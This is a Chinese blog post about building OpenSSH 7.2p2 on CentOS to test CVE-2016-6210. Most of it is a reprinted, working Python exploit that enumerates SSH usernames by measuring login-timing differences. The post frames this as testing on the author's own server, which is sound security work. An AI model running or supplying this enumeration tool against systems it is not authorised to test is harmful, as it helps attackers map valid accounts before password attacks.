升级CentOS服务器的OpenSSHD版本


=Start=

缘由:

前段时间出了一个OpenSSHD的用户枚举漏洞,实际测试了一下,有一定效果,但是不稳定,而且需要自己提供「用户名字典」,实用价值有待考证。

因为漏洞测试是在当前最新版本opensshd-7.2p2上进行的测试(根据原理来看早期opensshd应该也会受到影响),但CentOS 6.x默认的OpenSSHD版本一般在5.x,所以需要升级服务器的OpenSSHD版本进行测试,本来应该是很简单的一个过程的,但是中间因为粗心大意还是踩了一些坑,在此记录一下,方便以后查阅。

正文:
[root@opensshd ~]# wget http://openbsd.hk/pub/OpenBSD/OpenSSH/portable/openssh-7.2p2.tar.gz  #下载源码
[root@opensshd ~]# tar zxf openssh-7.2p2.tar.gz
[root@opensshd ~]# cd openssh-7.2p2/
[root@opensshd openssh-7.2p2]# ./configure && make && make install  #直接「./configure」的话,默认是安装到了 '/usr/local' 目录下
[root@opensshd openssh-7.2p2]# ./configure --prefix=/usr && make && make install  #手动指定「--prefix」将覆盖系统正在使用的sshd

坑1

# vim /usr/etc/sshd
    HostKey /usr/local/etc/ssh_host_rsa_key
    HostKey /usr/local/etc/ssh_host_dsa_key_config
# service sshd restart

坑2

# vim /usr/etc/sshd
    PermitRootLogin yes
# service sshd restart

避免入坑的办法:

先备份程序&配置文件
先多开几个终端防止误操作后无法登录
参考以往的配置更新 sshd_config 配置文件

测试 CVE-2016-6210 漏洞的示例代码:
#!/usr/bin/python
#
# CVEs:                  CVE-2016-6210 (Credits for this go to Eddie Harari)
#
# Author:                0_o -- null_null
#                        nu11.nu11 [at] yahoo.com
#                        Oh, and it is n-u-one-one.n-u-one-one, no l's...
#                        Wonder how the guys at packet storm could get this wrong :(
#
# Date:                  2016-07-19
#
# Purpose:               User name enumeration against SSH daemons affected by CVE-2016-6210.
#
# Prerequisites:         Network access to the SSH daemon.
#
# DISCLAIMER:            Use against your own hosts only! Attacking stuff you are not
#                        permitted to may put you in big trouble!
#
# And now - the fun part :-)
# https://www.exploit-db.com/exploits/40136/

import paramiko
import time
import numpy
import argparse
import sys

args = None

class bcolors:
  HEADER = '\033[95m'
  OKBLUE = '\033[94m'
  OKGREEN = '\033[92m'
  WARNING = '\033[93m'
  FAIL = '\033[91m'
  ENDC = '\033[0m'
  BOLD = '\033[1m'
  UNDERLINE = '\033[4m'

def get_args():
  parser = argparse.ArgumentParser()
  group = parser.add_mutually_exclusive_group()
  parser.add_argument("host", type = str, help = "Give SSH server address like ip:port or just by ip")
  group.add_argument("-u", "--user", type = str, help = "Give a single user name")
  group.add_argument("-U", "--userlist", type = str, help = "Give a file containing a list of users")
  parser.add_argument("-e", "--enumerated", action = "store_true", help = "Only show enumerated users")
  parser.add_argument("-s", "--silent", action = "store_true", help = "Like -e, but just the user names will be written to stdout (no banner, no anything)")
  parser.add_argument("--bytes", default = 50000, type = int, help = "Send so many BYTES to the SSH daemon as a password")
  parser.add_argument("--samples", default = 12, type = int, help = "Collect so many SAMPLES to calculate a timing baseline for authenticating non-existing users")
  parser.add_argument("--factor", default = 3.0, type = float, help = "Used to compute the upper timing boundary for user enumeration")
  parser.add_argument("--trials", default = 1, type = int, help = "try to authenticate user X for TRIALS times and compare the mean of auth timings against the timing boundary")
  args = parser.parse_args()
  return args

def get_banner(host, port):
  ssh = paramiko.SSHClient()
  ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  try:
    ssh.connect(hostname = host, port = port, username = 'invalidinvalidinvalid', password = 'invalidinvalidinvalid')
  except:
    banner = ssh.get_transport().remote_version
    ssh.close()
    return banner

def connect(host, port, user):
  global args
  starttime = 0.0
  endtime = 0.0
  p = 'B' * int(args.bytes)
  ssh = paramiko.SSHClient()
  ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  starttime=time.clock()
  try:
    ssh.connect(hostname = host, port = port, username = user, password = p, look_for_keys = False, gss_auth = False, gss_kex = False, gss_deleg_creds = False, gss_host = None, allow_agent = False)
  except:
    endtime=time.clock()
  finally:
    ssh.close()
    return endtime - starttime

def main():
  global args
  args = get_args()
  if not args.silent: print("\n\nUser name enumeration against SSH daemons affected by CVE-2016-6210")
  if not args.silent: print("Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari\n\n")
  if args.host:
    host = args.host.split(":")[0]
    try:
      port = int(args.host.split(":")[1])
    except IndexError:
      port = 22
  users = []
  if args.user:
    users.append(args.user)
  elif args.userlist:
    with open(args.userlist, "r") as f:
      users = f.readlines()
  else:
    if not args.silent: print(bcolors.FAIL + "[!] " + bcolors.ENDC + "You must give a user or a list of users")
    sys.exit()
  if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing SSHD at: " + bcolors.BOLD + str(host) + ":" + str(port) + bcolors.ENDC +  ", Banner: " + bcolors.BOLD + get_banner(host, port) + bcolors.ENDC)
  # get baseline timing for non-existing users...
  baseline_samples = []
  baseline_mean = 0.0
  baseline_deviation = 0.0
  if not args.silent: sys.stdout.write(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Getting baseline timing for authenticating non-existing users")
  for i in range(1, int(args.samples) + 1):
    if not args.silent: sys.stdout.write('.')
    if not args.silent: sys.stdout.flush()
    sample = connect(host, port, 'foobar-bleh-nonsense' + str(i))
    baseline_samples.append(sample)
  if not args.silent: sys.stdout.write('\n')
  # remove the biggest and smallest value
  baseline_samples.sort()
  baseline_samples.pop()
  baseline_samples.reverse()
  baseline_samples.pop()
  # do math
  baseline_mean = numpy.mean(numpy.array(baseline_samples))
  baseline_deviation = numpy.std(numpy.array(baseline_samples))
  if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline mean for host " + host + " is " + str(baseline_mean) + " seconds.")
  if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline variation for host " + host + " is " + str(baseline_deviation) + " seconds.")
  upper = baseline_mean + float(args.factor) * baseline_deviation
  if not args.silent: print(bcolors.WARNING + "[*] " + bcolors.ENDC + "Defining timing of x < " + str(upper) + " as non-existing user.")
  if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing your users...")
  #
  # Get timing for the given user name...
  #
  for u in users:
    user = u.strip()
    enum_samples = []
    enum_mean = 0.0
    for t in range(0, int(args.trials)):
      timeval = connect(host, port, user)
      enum_samples.append(timeval)
    enum_mean = numpy.mean(numpy.array(enum_samples))
    if (enum_mean < upper):
      if not (args.enumerated or args.silent) :
        print(bcolors.FAIL + "[-] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
    else:
      if not args.silent:
        print(bcolors.OKGREEN + "[+] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
      else:
        print(user)

if __name__ == "__main__":
  main()
参考链接:

=END=

,

《 “升级CentOS服务器的OpenSSHD版本” 》 有 13 条评论

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注